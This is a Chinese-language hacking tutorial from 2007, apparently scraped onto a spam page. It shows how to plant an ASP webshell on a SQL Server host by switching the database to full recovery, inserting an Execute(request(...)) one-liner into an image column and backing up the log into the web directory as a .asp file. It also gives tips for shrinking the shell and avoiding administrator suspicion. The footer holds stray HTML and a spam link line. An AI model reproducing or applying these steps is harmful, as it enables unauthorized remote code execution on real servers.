• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 導出日志文件到web目錄來獲得shell

    發表于:2007-06-13來源:作者:點擊數: 標簽:
    如果單從調整增量備份的方式來看,盡管能夠達到一些效果,但是方法比較復雜而且效果不明顯。加上關于重用性的考慮,例如多次備份的成功率,backup database的方法并不太適用。這里將要講述的是另外一個備份的方法,導出日志文件到web目錄來獲得shell。 獲得w

    如果單從調整增量備份的方式來看,盡管能夠達到一些效果,但是方法比較復雜而且效果不明顯。加上關于重用性的考慮,例如多次備份的成功率,backup database的方法并不太適用。這里將要講述的是另外一個備份的方法,導出日志文件到web目錄來獲得shell。

    獲得webshell首先要知道物理路徑。關于物理路徑的暴露有很多方法,注入也可以得到,就不再多說。值得注意的是,如果數據庫和web分離,這樣肯定得不到webshell,備份出來的東西可以覆蓋任何文件,一些關于開始菜單的想法還是有效的,只要注意擴展名就好。扯遠了,反正如果數據庫和web在一塊的,你就有機會,反之還是想其他的辦法吧。

    然后你要得到當前的權限和數據庫名。如果是sysadmin當然沒有必要做很復雜的事情,dbowner足矣,public則不行。當前打開的庫名用一個db_name()就可以得到,同樣很簡單。

    默認的情況是,一般選擇的數據庫故障還原類型都是簡單,這時候不能夠對日志文件進行備份。然而我們都是dbowner了,還有什么不能做的呢,只要修改一下屬性就可以。由于不能去企業管理器中修改,只有用一段SQL語句,很簡單的,這樣就可以:

    alter database XXXX set RECOVERY FULL

    其中XXXX是你得到的數據庫的名字,執行過后就可以備份日志了。這種修改是破壞性的,因為你不知道以前的故障還原模式是什么,細心的管理員看到異樣,可能就要開始起疑心。如果之前你能得到數據庫的狀態,最好還是在備份完以后把這個數據庫的屬性改回來。

    剩下的事情就是怎樣讓數據庫用最原始的方式記錄下你的數據了。這一點和backup database中設定表名為image的問題相對應,如果你只是建立一個<%%>之類的表,日志里面的記錄還是以松散的格式記錄的,也就是 < % % >,沒有任何效果。通過實際的測試,發現還是可以通過與backup database類似的方式記錄進去,如下:

    create table cmd (a image)

    insert into cmd (a) values ('<%Execute(request("Swan"))%>')

    backup log XXXX to disk = 'c:\xxx\2.asp'

    這樣你已經得到一個webshell了。

    到這里就完了么?沒有,呵呵,我們繼續。

    到這里有兩個分支方向,第一個,讓注入的時候不出現單引號,太簡單了,我都懶得寫;第二個,減小這個webshell的長度以及提高成功率。下面的方法就是討論第二個分支問題的,同樣適用于backup database的減小。

    首先是初始化這個日志。

    backup log XXXX to disk = 'c:\caonima' with init

    這樣有點類似于增量備份的第一步,不過有點不同的是,你做了這個以后,你備份出來的可用的shell是固定的。這一點比較重要,因為有了這一步,不管管理員在數據庫里面做了什么擾亂你back database的手腳,或者你之前有多少混蛋(你肯定會這么想的)弄了些你不喜歡的東西,都沒有關系,甚至你做過以后,別人在后面再按照你的方法來一次,還是會成功,這對于偶爾出現的反復,比如對方機器重裝但是數據庫和代碼沒變,有不小的幫助。

    然后是調整一下backup中各個語句的順序。通過第一點,大概的步驟已經確定下來了,那就是:

    alter database XXXX set RECOVERY FULL

    backup log XXXX to disk = 'c:\Sammy' with init

    create table cmd (a image)

    insert into cmd (a) values ('<%Execute(request("Swan"))%>')

    backup log XXXX to disk = 'c:\xxx\2.asp'

    這樣不好,感覺上多了一條沒用的東西。

    create table cmd (a image)

    確實有點討厭,不過這句是必要的,只好調整一下位置,弄到其他地方去。調換一下順序似乎還可以小一點,對于backup database中的增量情況同樣是可以的,backup database甚至可以僅僅在update后馬上備份,不過由于涉及到了數據的存儲格式,情況很復雜,這里不討論。調整后的是:

    alter database XXXX set RECOVERY FULL

    create table cmd (a image)

    backup log XXXX to disk = 'c:\Sammy' with init

    insert into cmd (a) values ('<%Execute(request("Swan"))%>')

    backup log XXXX to disk = 'c:\xxx\2.asp'

    成功的話,備份出來的shell(上面的2.asp)有78.5k,文件長度固定的是80,384字節。很挑剔的朋友也可以接受了吧,當然用這個來生成一個干凈的木馬也可以——這本來就是頂端cs木馬的s端,很通用的。

    進一步的,雖然不能再次縮小這個木馬了,但是可以讓垃圾文件少一點,那就是加上response.end,這樣后面的垃圾數據就不再顯示。所有的垃圾數據,你可以統計一下,大約只有6~12k,也就是說,<%Execute(request("Swan"))%>這個數據大約在2.asp文件偏移6xxx到12xxx附近,最好的情況似乎在6k左右,而且這個概率分布比較靠前,很少見到10k以上。這還是比較令人滿意的。

    目前用backup log來測試的成功率是100%,就這樣分析似乎不應該有失敗的情況。無論如何,這個比backup database好太多了。

    (責任編輯:城塵 68476636-8003)



    原文轉自:http://www.kjueaiud.com

    ...
    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>